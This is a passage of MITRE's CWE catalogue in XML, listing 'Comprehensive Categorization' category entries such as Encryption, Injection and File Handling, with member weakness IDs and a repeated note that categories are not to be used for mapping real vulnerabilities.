				<Has_Member CWE_ID="667" View_ID="1400"/>
				<Has_Member CWE_ID="689" View_ID="1400"/>
				<Has_Member CWE_ID="764" View_ID="1400"/>
				<Has_Member CWE_ID="765" View_ID="1400"/>
				<Has_Member CWE_ID="820" View_ID="1400"/>
				<Has_Member CWE_ID="821" View_ID="1400"/>
				<Has_Member CWE_ID="828" View_ID="1400"/>
				<Has_Member CWE_ID="831" View_ID="1400"/>
				<Has_Member CWE_ID="832" View_ID="1400"/>
				<Has_Member CWE_ID="833" View_ID="1400"/>
				<Has_Member CWE_ID="1058" View_ID="1400"/>
				<Has_Member CWE_ID="1088" View_ID="1400"/>
				<Has_Member CWE_ID="1096" View_ID="1400"/>
				<Has_Member CWE_ID="1223" View_ID="1400"/>
				<Has_Member CWE_ID="1232" View_ID="1400"/>
				<Has_Member CWE_ID="1234" View_ID="1400"/>
				<Has_Member CWE_ID="1264" View_ID="1400"/>
				<Has_Member CWE_ID="1298" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1402" Name="Comprehensive Categorization: Encryption" Status="Incomplete">
			<Summary>Weaknesses in this category are related to encryption.</Summary>
			<Relationships>
				<Has_Member CWE_ID="5" View_ID="1400"/>
				<Has_Member CWE_ID="311" View_ID="1400"/>
				<Has_Member CWE_ID="312" View_ID="1400"/>
				<Has_Member CWE_ID="313" View_ID="1400"/>
				<Has_Member CWE_ID="314" View_ID="1400"/>
				<Has_Member CWE_ID="315" View_ID="1400"/>
				<Has_Member CWE_ID="316" View_ID="1400"/>
				<Has_Member CWE_ID="317" View_ID="1400"/>
				<Has_Member CWE_ID="318" View_ID="1400"/>
				<Has_Member CWE_ID="319" View_ID="1400"/>
				<Has_Member CWE_ID="324" View_ID="1400"/>
				<Has_Member CWE_ID="325" View_ID="1400"/>
				<Has_Member CWE_ID="326" View_ID="1400"/>
				<Has_Member CWE_ID="327" View_ID="1400"/>
				<Has_Member CWE_ID="328" View_ID="1400"/>
				<Has_Member CWE_ID="347" View_ID="1400"/>
				<Has_Member CWE_ID="614" View_ID="1400"/>
				<Has_Member CWE_ID="759" View_ID="1400"/>
				<Has_Member CWE_ID="760" View_ID="1400"/>
				<Has_Member CWE_ID="780" View_ID="1400"/>
				<Has_Member CWE_ID="916" View_ID="1400"/>
				<Has_Member CWE_ID="1240" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1403" Name="Comprehensive Categorization: Exposed Resource" Status="Incomplete">
			<Summary>Weaknesses in this category are related to exposed resource.</Summary>
			<Relationships>
				<Has_Member CWE_ID="8" View_ID="1400"/>
				<Has_Member CWE_ID="15" View_ID="1400"/>
				<Has_Member CWE_ID="73" View_ID="1400"/>
				<Has_Member CWE_ID="114" View_ID="1400"/>
				<Has_Member CWE_ID="219" View_ID="1400"/>
				<Has_Member CWE_ID="220" View_ID="1400"/>
				<Has_Member CWE_ID="374" View_ID="1400"/>
				<Has_Member CWE_ID="375" View_ID="1400"/>
				<Has_Member CWE_ID="377" View_ID="1400"/>
				<Has_Member CWE_ID="378" View_ID="1400"/>
				<Has_Member CWE_ID="379" View_ID="1400"/>
				<Has_Member CWE_ID="402" View_ID="1400"/>
				<Has_Member CWE_ID="403" View_ID="1400"/>
				<Has_Member CWE_ID="426" View_ID="1400"/>
				<Has_Member CWE_ID="427" View_ID="1400"/>
				<Has_Member CWE_ID="428" View_ID="1400"/>
				<Has_Member CWE_ID="433" View_ID="1400"/>
				<Has_Member CWE_ID="472" View_ID="1400"/>
				<Has_Member CWE_ID="488" View_ID="1400"/>
				<Has_Member CWE_ID="491" View_ID="1400"/>
				<Has_Member CWE_ID="492" View_ID="1400"/>
				<Has_Member CWE_ID="493" View_ID="1400"/>
				<Has_Member CWE_ID="498" View_ID="1400"/>
				<Has_Member CWE_ID="499" View_ID="1400"/>
				<Has_Member CWE_ID="500" View_ID="1400"/>
				<Has_Member CWE_ID="524" View_ID="1400"/>
				<Has_Member CWE_ID="525" View_ID="1400"/>
				<Has_Member CWE_ID="527" View_ID="1400"/>
				<Has_Member CWE_ID="528" View_ID="1400"/>
				<Has_Member CWE_ID="529" View_ID="1400"/>
				<Has_Member CWE_ID="530" View_ID="1400"/>
				<Has_Member CWE_ID="539" View_ID="1400"/>
				<Has_Member CWE_ID="552" View_ID="1400"/>
				<Has_Member CWE_ID="553" View_ID="1400"/>
				<Has_Member CWE_ID="565" View_ID="1400"/>
				<Has_Member CWE_ID="582" View_ID="1400"/>
				<Has_Member CWE_ID="583" View_ID="1400"/>
				<Has_Member CWE_ID="608" View_ID="1400"/>
				<Has_Member CWE_ID="619" View_ID="1400"/>
				<Has_Member CWE_ID="642" View_ID="1400"/>
				<Has_Member CWE_ID="668" View_ID="1400"/>
				<Has_Member CWE_ID="767" View_ID="1400"/>
				<Has_Member CWE_ID="784" View_ID="1400"/>
				<Has_Member CWE_ID="1282" View_ID="1400"/>
				<Has_Member CWE_ID="1327" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1404" Name="Comprehensive Categorization: File Handling" Status="Incomplete">
			<Summary>Weaknesses in this category are related to file handling.</Summary>
			<Relationships>
				<Has_Member CWE_ID="22" View_ID="1400"/>
				<Has_Member CWE_ID="23" View_ID="1400"/>
				<Has_Member CWE_ID="24" View_ID="1400"/>
				<Has_Member CWE_ID="25" View_ID="1400"/>
				<Has_Member CWE_ID="26" View_ID="1400"/>
				<Has_Member CWE_ID="27" View_ID="1400"/>
				<Has_Member CWE_ID="28" View_ID="1400"/>
				<Has_Member CWE_ID="29" View_ID="1400"/>
				<Has_Member CWE_ID="30" View_ID="1400"/>
				<Has_Member CWE_ID="31" View_ID="1400"/>
				<Has_Member CWE_ID="32" View_ID="1400"/>
				<Has_Member CWE_ID="33" View_ID="1400"/>
				<Has_Member CWE_ID="34" View_ID="1400"/>
				<Has_Member CWE_ID="35" View_ID="1400"/>
				<Has_Member CWE_ID="36" View_ID="1400"/>
				<Has_Member CWE_ID="37" View_ID="1400"/>
				<Has_Member CWE_ID="38" View_ID="1400"/>
				<Has_Member CWE_ID="39" View_ID="1400"/>
				<Has_Member CWE_ID="40" View_ID="1400"/>
				<Has_Member CWE_ID="41" View_ID="1400"/>
				<Has_Member CWE_ID="42" View_ID="1400"/>
				<Has_Member CWE_ID="43" View_ID="1400"/>
				<Has_Member CWE_ID="44" View_ID="1400"/>
				<Has_Member CWE_ID="45" View_ID="1400"/>
				<Has_Member CWE_ID="46" View_ID="1400"/>
				<Has_Member CWE_ID="47" View_ID="1400"/>
				<Has_Member CWE_ID="48" View_ID="1400"/>
				<Has_Member CWE_ID="49" View_ID="1400"/>
				<Has_Member CWE_ID="50" View_ID="1400"/>
				<Has_Member CWE_ID="51" View_ID="1400"/>
				<Has_Member CWE_ID="52" View_ID="1400"/>
				<Has_Member CWE_ID="53" View_ID="1400"/>
				<Has_Member CWE_ID="54" View_ID="1400"/>
				<Has_Member CWE_ID="55" View_ID="1400"/>
				<Has_Member CWE_ID="56" View_ID="1400"/>
				<Has_Member CWE_ID="57" View_ID="1400"/>
				<Has_Member CWE_ID="58" View_ID="1400"/>
				<Has_Member CWE_ID="59" View_ID="1400"/>
				<Has_Member CWE_ID="61" View_ID="1400"/>
				<Has_Member CWE_ID="62" View_ID="1400"/>
				<Has_Member CWE_ID="64" View_ID="1400"/>
				<Has_Member CWE_ID="65" View_ID="1400"/>
				<Has_Member CWE_ID="66" View_ID="1400"/>
				<Has_Member CWE_ID="67" View_ID="1400"/>
				<Has_Member CWE_ID="69" View_ID="1400"/>
				<Has_Member CWE_ID="72" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1405" Name="Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions" Status="Incomplete">
			<Summary>Weaknesses in this category are related to improper check or handling of exceptional conditions.</Summary>
			<Relationships>
				<Has_Member CWE_ID="7" View_ID="1400"/>
				<Has_Member CWE_ID="12" View_ID="1400"/>
				<Has_Member CWE_ID="252" View_ID="1400"/>
				<Has_Member CWE_ID="390" View_ID="1400"/>
				<Has_Member CWE_ID="391" View_ID="1400"/>
				<Has_Member CWE_ID="394" View_ID="1400"/>
				<Has_Member CWE_ID="544" View_ID="1400"/>
				<Has_Member CWE_ID="703" View_ID="1400"/>
				<Has_Member CWE_ID="754" View_ID="1400"/>
				<Has_Member CWE_ID="755" View_ID="1400"/>
				<Has_Member CWE_ID="756" View_ID="1400"/>
				<Has_Member CWE_ID="1247" View_ID="1400"/>
				<Has_Member CWE_ID="1261" View_ID="1400"/>
				<Has_Member CWE_ID="1332" View_ID="1400"/>
				<Has_Member CWE_ID="1351" View_ID="1400"/>
				<Has_Member CWE_ID="1384" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1406" Name="Comprehensive Categorization: Improper Input Validation" Status="Incomplete">
			<Summary>Weaknesses in this category are related to improper input validation.</Summary>
			<Relationships>
				<Has_Member CWE_ID="20" View_ID="1400"/>
				<Has_Member CWE_ID="105" View_ID="1400"/>
				<Has_Member CWE_ID="106" View_ID="1400"/>
				<Has_Member CWE_ID="108" View_ID="1400"/>
				<Has_Member CWE_ID="109" View_ID="1400"/>
				<Has_Member CWE_ID="112" View_ID="1400"/>
				<Has_Member CWE_ID="554" View_ID="1400"/>
				<Has_Member CWE_ID="606" View_ID="1400"/>
				<Has_Member CWE_ID="622" View_ID="1400"/>
				<Has_Member CWE_ID="781" View_ID="1400"/>
				<Has_Member CWE_ID="1173" View_ID="1400"/>
				<Has_Member CWE_ID="1174" View_ID="1400"/>
				<Has_Member CWE_ID="1284" View_ID="1400"/>
				<Has_Member CWE_ID="1285" View_ID="1400"/>
				<Has_Member CWE_ID="1286" View_ID="1400"/>
				<Has_Member CWE_ID="1287" View_ID="1400"/>
				<Has_Member CWE_ID="1288" View_ID="1400"/>
				<Has_Member CWE_ID="1289" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1407" Name="Comprehensive Categorization: Improper Neutralization" Status="Incomplete">
			<Summary>Weaknesses in this category are related to improper neutralization.</Summary>
			<Relationships>
				<Has_Member CWE_ID="116" View_ID="1400"/>
				<Has_Member CWE_ID="117" View_ID="1400"/>
				<Has_Member CWE_ID="130" View_ID="1400"/>
				<Has_Member CWE_ID="138" View_ID="1400"/>
				<Has_Member CWE_ID="140" View_ID="1400"/>
				<Has_Member CWE_ID="141" View_ID="1400"/>
				<Has_Member CWE_ID="142" View_ID="1400"/>
				<Has_Member CWE_ID="143" View_ID="1400"/>
				<Has_Member CWE_ID="144" View_ID="1400"/>
				<Has_Member CWE_ID="145" View_ID="1400"/>
				<Has_Member CWE_ID="146" View_ID="1400"/>
				<Has_Member CWE_ID="147" View_ID="1400"/>
				<Has_Member CWE_ID="148" View_ID="1400"/>
				<Has_Member CWE_ID="149" View_ID="1400"/>
				<Has_Member CWE_ID="150" View_ID="1400"/>
				<Has_Member CWE_ID="151" View_ID="1400"/>
				<Has_Member CWE_ID="152" View_ID="1400"/>
				<Has_Member CWE_ID="153" View_ID="1400"/>
				<Has_Member CWE_ID="154" View_ID="1400"/>
				<Has_Member CWE_ID="155" View_ID="1400"/>
				<Has_Member CWE_ID="156" View_ID="1400"/>
				<Has_Member CWE_ID="157" View_ID="1400"/>
				<Has_Member CWE_ID="158" View_ID="1400"/>
				<Has_Member CWE_ID="159" View_ID="1400"/>
				<Has_Member CWE_ID="160" View_ID="1400"/>
				<Has_Member CWE_ID="161" View_ID="1400"/>
				<Has_Member CWE_ID="162" View_ID="1400"/>
				<Has_Member CWE_ID="163" View_ID="1400"/>
				<Has_Member CWE_ID="164" View_ID="1400"/>
				<Has_Member CWE_ID="165" View_ID="1400"/>
				<Has_Member CWE_ID="166" View_ID="1400"/>
				<Has_Member CWE_ID="167" View_ID="1400"/>
				<Has_Member CWE_ID="168" View_ID="1400"/>
				<Has_Member CWE_ID="170" View_ID="1400"/>
				<Has_Member CWE_ID="172" View_ID="1400"/>
				<Has_Member CWE_ID="173" View_ID="1400"/>
				<Has_Member CWE_ID="174" View_ID="1400"/>
				<Has_Member CWE_ID="175" View_ID="1400"/>
				<Has_Member CWE_ID="176" View_ID="1400"/>
				<Has_Member CWE_ID="177" View_ID="1400"/>
				<Has_Member CWE_ID="228" View_ID="1400"/>
				<Has_Member CWE_ID="229" View_ID="1400"/>
				<Has_Member CWE_ID="230" View_ID="1400"/>
				<Has_Member CWE_ID="231" View_ID="1400"/>
				<Has_Member CWE_ID="232" View_ID="1400"/>
				<Has_Member CWE_ID="233" View_ID="1400"/>
				<Has_Member CWE_ID="234" View_ID="1400"/>
				<Has_Member CWE_ID="235" View_ID="1400"/>
				<Has_Member CWE_ID="236" View_ID="1400"/>
				<Has_Member CWE_ID="237" View_ID="1400"/>
				<Has_Member CWE_ID="238" View_ID="1400"/>
				<Has_Member CWE_ID="239" View_ID="1400"/>
				<Has_Member CWE_ID="240" View_ID="1400"/>
				<Has_Member CWE_ID="241" View_ID="1400"/>
				<Has_Member CWE_ID="463" View_ID="1400"/>
				<Has_Member CWE_ID="464" View_ID="1400"/>
				<Has_Member CWE_ID="626" View_ID="1400"/>
				<Has_Member CWE_ID="644" View_ID="1400"/>
				<Has_Member CWE_ID="707" View_ID="1400"/>
				<Has_Member CWE_ID="790" View_ID="1400"/>
				<Has_Member CWE_ID="791" View_ID="1400"/>
				<Has_Member CWE_ID="792" View_ID="1400"/>
				<Has_Member CWE_ID="793" View_ID="1400"/>
				<Has_Member CWE_ID="794" View_ID="1400"/>
				<Has_Member CWE_ID="795" View_ID="1400"/>
				<Has_Member CWE_ID="796" View_ID="1400"/>
				<Has_Member CWE_ID="797" View_ID="1400"/>
				<Has_Member CWE_ID="838" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1408" Name="Comprehensive Categorization: Incorrect Calculation" Status="Incomplete">
			<Summary>Weaknesses in this category are related to incorrect calculation.</Summary>
			<Relationships>
				<Has_Member CWE_ID="128" View_ID="1400"/>
				<Has_Member CWE_ID="135" View_ID="1400"/>
				<Has_Member CWE_ID="190" View_ID="1400"/>
				<Has_Member CWE_ID="191" View_ID="1400"/>
				<Has_Member CWE_ID="193" View_ID="1400"/>
				<Has_Member CWE_ID="369" View_ID="1400"/>
				<Has_Member CWE_ID="467" View_ID="1400"/>
				<Has_Member CWE_ID="468" View_ID="1400"/>
				<Has_Member CWE_ID="469" View_ID="1400"/>
				<Has_Member CWE_ID="682" View_ID="1400"/>
				<Has_Member CWE_ID="1335" View_ID="1400"/>
				<Has_Member CWE_ID="1339" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1409" Name="Comprehensive Categorization: Injection" Status="Incomplete">
			<Summary>Weaknesses in this category are related to injection.</Summary>
			<Relationships>
				<Has_Member CWE_ID="74" View_ID="1400"/>
				<Has_Member CWE_ID="75" View_ID="1400"/>
				<Has_Member CWE_ID="76" View_ID="1400"/>
				<Has_Member CWE_ID="77" View_ID="1400"/>
				<Has_Member CWE_ID="78" View_ID="1400"/>
				<Has_Member CWE_ID="79" View_ID="1400"/>
				<Has_Member CWE_ID="80" View_ID="1400"/>
				<Has_Member CWE_ID="81" View_ID="1400"/>
				<Has_Member CWE_ID="82" View_ID="1400"/>
				<Has_Member CWE_ID="83" View_ID="1400"/>
				<Has_Member CWE_ID="84" View_ID="1400"/>
				<Has_Member CWE_ID="85" View_ID="1400"/>
				<Has_Member CWE_ID="86" View_ID="1400"/>
				<Has_Member CWE_ID="87" View_ID="1400"/>
				<Has_Member CWE_ID="88" View_ID="1400"/>
				<Has_Member CWE_ID="89" View_ID="1400"/>
				<Has_Member CWE_ID="90" View_ID="1400"/>
				<Has_Member CWE_ID="91" View_ID="1400"/>
				<Has_Member CWE_ID="93" View_ID="1400"/>
				<Has_Member CWE_ID="94" View_ID="1400"/>
				<Has_Member CWE_ID="95" View_ID="1400"/>
				<Has_Member CWE_ID="96" View_ID="1400"/>
				<Has_Member CWE_ID="97" View_ID="1400"/>
				<Has_Member CWE_ID="99" View_ID="1400"/>
				<Has_Member CWE_ID="102" View_ID="1400"/>
				<Has_Member CWE_ID="113" View_ID="1400"/>
				<Has_Member CWE_ID="564" View_ID="1400"/>
				<Has_Member CWE_ID="621" View_ID="1400"/>
				<Has_Member CWE_ID="624" View_ID="1400"/>
				<Has_Member CWE_ID="627" View_ID="1400"/>
				<Has_Member CWE_ID="641" View_ID="1400"/>
				<Has_Member CWE_ID="643" View_ID="1400"/>
				<Has_Member CWE_ID="652" View_ID="1400"/>
				<Has_Member CWE_ID="692" View_ID="1400"/>
				<Has_Member CWE_ID="694" View_ID="1400"/>
				<Has_Member CWE_ID="914" View_ID="1400"/>
				<Has_Member CWE_ID="917" View_ID="1400"/>
				<Has_Member CWE_ID="943" View_ID="1400"/>
				<Has_Member CWE_ID="1236" View_ID="1400"/>
				<Has_Member CWE_ID="1336" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1410" Name="Comprehensive Categorization: Insufficient Control Flow Management" Status="Incomplete">
			<Summary>Weaknesses in this category are related to insufficient control flow management.</Summary>
			<Relationships>
				<Has_Member CWE_ID="179" View_ID="1400"/>
				<Has_Member CWE_ID="180" View_ID="1400"/>
				<Has_Member CWE_ID="181" View_ID="1400"/>
				<Has_Member CWE_ID="248" View_ID="1400"/>
				<Has_Member CWE_ID="382" View_ID="1400"/>
				<Has_Member CWE_ID="395" View_ID="1400"/>
				<Has_Member CWE_ID="396" View_ID="1400"/>
				<Has_Member CWE_ID="397" View_ID="1400"/>
				<Has_Member CWE_ID="408" View_ID="1400"/>
				<Has_Member CWE_ID="430" View_ID="1400"/>
				<Has_Member CWE_ID="431" View_ID="1400"/>
				<Has_Member CWE_ID="455" View_ID="1400"/>
				<Has_Member CWE_ID="480" View_ID="1400"/>
				<Has_Member CWE_ID="481" View_ID="1400"/>
				<Has_Member CWE_ID="482" View_ID="1400"/>
				<Has_Member CWE_ID="483" View_ID="1400"/>
				<Has_Member CWE_ID="584" View_ID="1400"/>
				<Has_Member CWE_ID="600" View_ID="1400"/>
				<Has_Member CWE_ID="617" View_ID="1400"/>
				<Has_Member CWE_ID="670" View_ID="1400"/>
				<Has_Member CWE_ID="674" View_ID="1400"/>
				<Has_Member CWE_ID="691" View_ID="1400"/>
				<Has_Member CWE_ID="696" View_ID="1400"/>
				<Has_Member CWE_ID="698" View_ID="1400"/>
				<Has_Member CWE_ID="705" View_ID="1400"/>
				<Has_Member CWE_ID="768" View_ID="1400"/>
				<Has_Member CWE_ID="783" View_ID="1400"/>
				<Has_Member CWE_ID="799" View_ID="1400"/>
				<Has_Member CWE_ID="834" View_ID="1400"/>
				<Has_Member CWE_ID="835" View_ID="1400"/>
				<Has_Member CWE_ID="837" View_ID="1400"/>
				<Has_Member CWE_ID="841" View_ID="1400"/>
				<Has_Member CWE_ID="1190" View_ID="1400"/>
				<Has_Member CWE_ID="1193" View_ID="1400"/>
				<Has_Member CWE_ID="1265" View_ID="1400"/>
				<Has_Member CWE_ID="1280" View_ID="1400"/>
				<Has_Member CWE_ID="1281" View_ID="1400"/>
				<Has_Member CWE_ID="1322" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1411" Name="Comprehensive Categorization: Insufficient Verification of Data Authenticity" Status="Incomplete">
			<Summary>Weaknesses in this category are related to insufficient verification of data authenticity.</Summary>
			<Relationships>
				<Has_Member CWE_ID="345" View_ID="1400"/>
				<Has_Member CWE_ID="346" View_ID="1400"/>
				<Has_Member CWE_ID="348" View_ID="1400"/>
				<Has_Member CWE_ID="349" View_ID="1400"/>
				<Has_Member CWE_ID="351" View_ID="1400"/>
				<Has_Member CWE_ID="352" View_ID="1400"/>
				<Has_Member CWE_ID="353" View_ID="1400"/>
				<Has_Member CWE_ID="354" View_ID="1400"/>
				<Has_Member CWE_ID="360" View_ID="1400"/>
				<Has_Member CWE_ID="494" View_ID="1400"/>
				<Has_Member CWE_ID="616" View_ID="1400"/>
				<Has_Member CWE_ID="646" View_ID="1400"/>
				<Has_Member CWE_ID="649" View_ID="1400"/>
				<Has_Member CWE_ID="924" View_ID="1400"/>
				<Has_Member CWE_ID="1293" View_ID="1400"/>
				<Has_Member CWE_ID="1385" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1412" Name="Comprehensive Categorization: Poor Coding Practices" Status="Incomplete">
			<Summary>Weaknesses in this category are related to poor coding practices.</Summary>
			<Relationships>
				<Has_Member CWE_ID="11" View_ID="1400"/>
				<Has_Member CWE_ID="103" View_ID="1400"/>
				<Has_Member CWE_ID="104" View_ID="1400"/>
				<Has_Member CWE_ID="107" View_ID="1400"/>
				<Has_Member CWE_ID="110" View_ID="1400"/>
				<Has_Member CWE_ID="111" View_ID="1400"/>
				<Has_Member CWE_ID="242" View_ID="1400"/>
				<Has_Member CWE_ID="245" View_ID="1400"/>
				<Has_Member CWE_ID="246" View_ID="1400"/>
				<Has_Member CWE_ID="253" View_ID="1400"/>
				<Has_Member CWE_ID="358" View_ID="1400"/>
				<Has_Member CWE_ID="383" View_ID="1400"/>
				<Has_Member CWE_ID="392" View_ID="1400"/>
				<Has_Member CWE_ID="393" View_ID="1400"/>
				<Has_Member CWE_ID="440" View_ID="1400"/>
				<Has_Member CWE_ID="446" View_ID="1400"/>
				<Has_Member CWE_ID="448" View_ID="1400"/>
				<Has_Member CWE_ID="449" View_ID="1400"/>
				<Has_Member CWE_ID="451" View_ID="1400"/>
				<Has_Member CWE_ID="462" View_ID="1400"/>
				<Has_Member CWE_ID="474" View_ID="1400"/>
				<Has_Member CWE_ID="475" View_ID="1400"/>
				<Has_Member CWE_ID="476" View_ID="1400"/>
				<Has_Member CWE_ID="477" View_ID="1400"/>
				<Has_Member CWE_ID="484" View_ID="1400"/>
